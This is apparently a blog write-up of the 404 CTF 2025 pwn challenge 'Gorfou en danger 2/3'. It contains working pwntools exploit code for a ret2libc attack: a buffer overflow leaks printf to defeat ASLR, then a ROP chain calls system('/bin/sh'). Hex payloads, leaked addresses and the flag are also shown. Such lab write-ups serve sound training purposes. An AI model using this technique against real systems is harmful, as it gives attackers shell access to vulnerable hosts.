Post

Gorfou en danger 2/3 | 404 CTF 2025

Gorfou en danger 2/3 | 404 CTF 2025

Gorfou en danger 2/3

Ressources

Cody a atteint le point de rendez-vous avec notre station orbitale Penrose, mais il est incapable de s’amarrer sans les clés d’accès, malheureusement détruites sur Mars. Votre mission consiste encore à obtenir un accès grâce à une console plus récente située sur la station.

Host : challenges.404ctf.fr Port : 32464

gorfou-en-danger-2
├── chall
├── ld-linux-x86-64.so.2
├── libc.so.6
├── main.c

Analyse

First I execute the programm to see what it want me to input.

1
2
3
4
5
6
7
8
9
10
11
12
13
      __
     /\ \
    /  \ \      >>========================================================<<
   / /\ \ \     ||░█▀▄░█▀▀░█▀▀░█▀▀░░░█▀▀░█▀█░█▀█░█▀▀░█▀█░█░░░█▀▀░░░█░█░▀▀▄||
  / / /\ \ \    ||░█░█░█░█░▀▀█░█░█░░░█░░░█░█░█░█░▀▀█░█░█░█░░░█▀▀░░░▀▄▀░▄▀░||
 / / /__\_\ \   ||░▀▀░░▀▀▀░▀▀▀░▀▀▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀||
/ / /________\  >>========================================================<<
\/___________/
Terminal de contrôle à distance de la station orbilate Penrose
> help
Commande inconnue
> test
Commande inconnue

The program is the same as the previous one but a second version, lets see if we can find something interesting in the main.c file.

debug_info()

1
2
3
4
5
6
7
8
void debug_info(void) { 
    // our very own "info proc map"
    printf("main address : %p\n", &main);
    printf("printf address : %p\n", *(uint64_t *)0x403008);
    void* local_var = NULL;
    printf("Stack address : %p\n", &local_var);
    return;
}

Only debug_info() changed, we lost our win function but we have something interesting that is linked to the libc we have.

this function print the address of printf.

To see the addresses, we can use our previous exploit to access debug_info().

1
2
3
4
5
6
7
8
9
# python3 debug.py
main address : 0x400584
printf address : 0x7fb6cecbab40
Stack address : 0x7ffc5fff6200

# python3 debug.py
main address : 0x400584
printf address : 0x7f835a427b40
Stack address : 0x7ffc671469e0

We can see that the ASLR is enabled, so it is necessary to leak addresses.

Goal

The goal is to get a shell to cat the flag.txt file. to do that, it is in 2 steps :

  1. Get the address of printf to calculate the address of system and and other useful things.

  2. Use the address of system to get a shell.

Exploit

To get the address of our libc, we can use the address of printf and the offset of printf in the libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN):
    """
    Get the libc leak from the debug_info function.
    """
    payload = b"A" * OFFSET_RIP
    payload += p64(DEBUG_INFO)
    payload += p64(MAIN)

    print(f"\n----------------------")
    print(f" Payload to leak libc ")
    print(f"----------------------\n")

    print(payload.hex())

    r.recvuntil(b"> ")
    r.sendline(payload)
    output = r.recv()
    for value in output.split(b"\n"):
        if b"printf" in value:
            printf_leak = int(value.split(b" ")[-1], 16) 

    print(f"\nprintf() : {hex(printf_leak)}")
    return printf_leak

def main():
    OFFSET_RIP = 264
    DEBUG_INFO = 0x00000000004004ed
    MAIN = 0x0000000000400584

    r = conn()

    printf_leak = get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN)

First we need to get the address of debug_info() and main() to build our payload.

With that we do our first buffer overflow to leak the address of printf by entering in debug_info(). To input out real exploit, we need to get a second input so wee need to return to main to get in take_command() a second time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def get_libc_addr(printf_leak) -> dict:
    """
    Get useful libc addresses.
    """
    libc_addresses = {}
    libc_addresses['printf'] = printf_leak

    libc.address = libc_addresses["printf"] - libc.symbols['printf']
    rop = ROP(libc)

    libc_addresses["system"] = libc.sym['system']
    libc_addresses["bin_sh"] = next(libc.search(b'/bin/sh\x00'))
    libc_addresses["pop_rdi"] = rop.find_gadget(['pop rdi', 'ret'])[0]
    libc_addresses["ret"] = rop.find_gadget(['ret'])[0]

    print(f"\n----------------------")
    print(f"    Libc Addresses    ")
    print(f"----------------------\n")

    print(f"system() : {hex(libc_addresses['system'])}")
    print(f"/bin/sh  : {hex(libc_addresses['bin_sh'])}")
    print(f"pop rdi  : {hex(libc_addresses['pop_rdi'])}")
    print(f"ret      : {hex(libc_addresses['ret'])}")

    return libc_addresses

def main():
    ...
    libc_addresses = get_libc_addr(printf_leak)
    ...

We calculate all interesting addresses with the libc file and the address of printf we leaked to build our Libc Ropchain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def create_payload(libc_addresses: dict, OFFSET_RIP: int):
    """
    Function to create the payload to send.
    """
    payload = b"A" * OFFSET_RIP
    payload += p64(libc_addresses['ret'])
    payload += p64(libc_addresses['pop_rdi'])
    payload += p64(libc_addresses['bin_sh'])
    payload += p64(libc_addresses['system'])

    print(f"\n----------------------")
    print(f"     Final Payload     ")
    print(f"----------------------\n")

    print(payload.hex())

    return payload

def exploit(r, payload):
    """
    exploit function to send payload
    """
    r.recvuntil(b"> ")
    r.sendline(payload)
    r.interactive()

def main():
    ...
    payload = create_payload(libc_addresses, OFFSET_RIP)
    exploit(r, payload)
    ...

Then we create our payload to get a shell and send it to the server.

here is my full exploit : solver.py

Getting flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# python3 solve.py FLAG

----------------------
 Payload to leak libc
----------------------

414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141ed044000000000008405400000000000

printf() : 0x7fd9dabd7b40

----------------------
    Libc Addresses
----------------------

system() : 0x7fd9dabd0db0
/bin/sh  : 0x7fd9dad53ece
pop rdi  : 0x7fd9dac7e3a5
ret      : 0x7fd9daba3ad3

----------------------
     Final Payload
----------------------

414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d33abadad97f0000a5e3c7dad97f0000ce3ed5dad97f0000b00dbddad97f0000

----------------------
         Flag
----------------------

404CTF{FELiC174TI0nS_!_cE_N_E$T_QUe_Le_DebUT_C0NTiNU32_À_4pPREnDR3_l3_pWn}
This post is licensed under CC BY 4.0 by the author.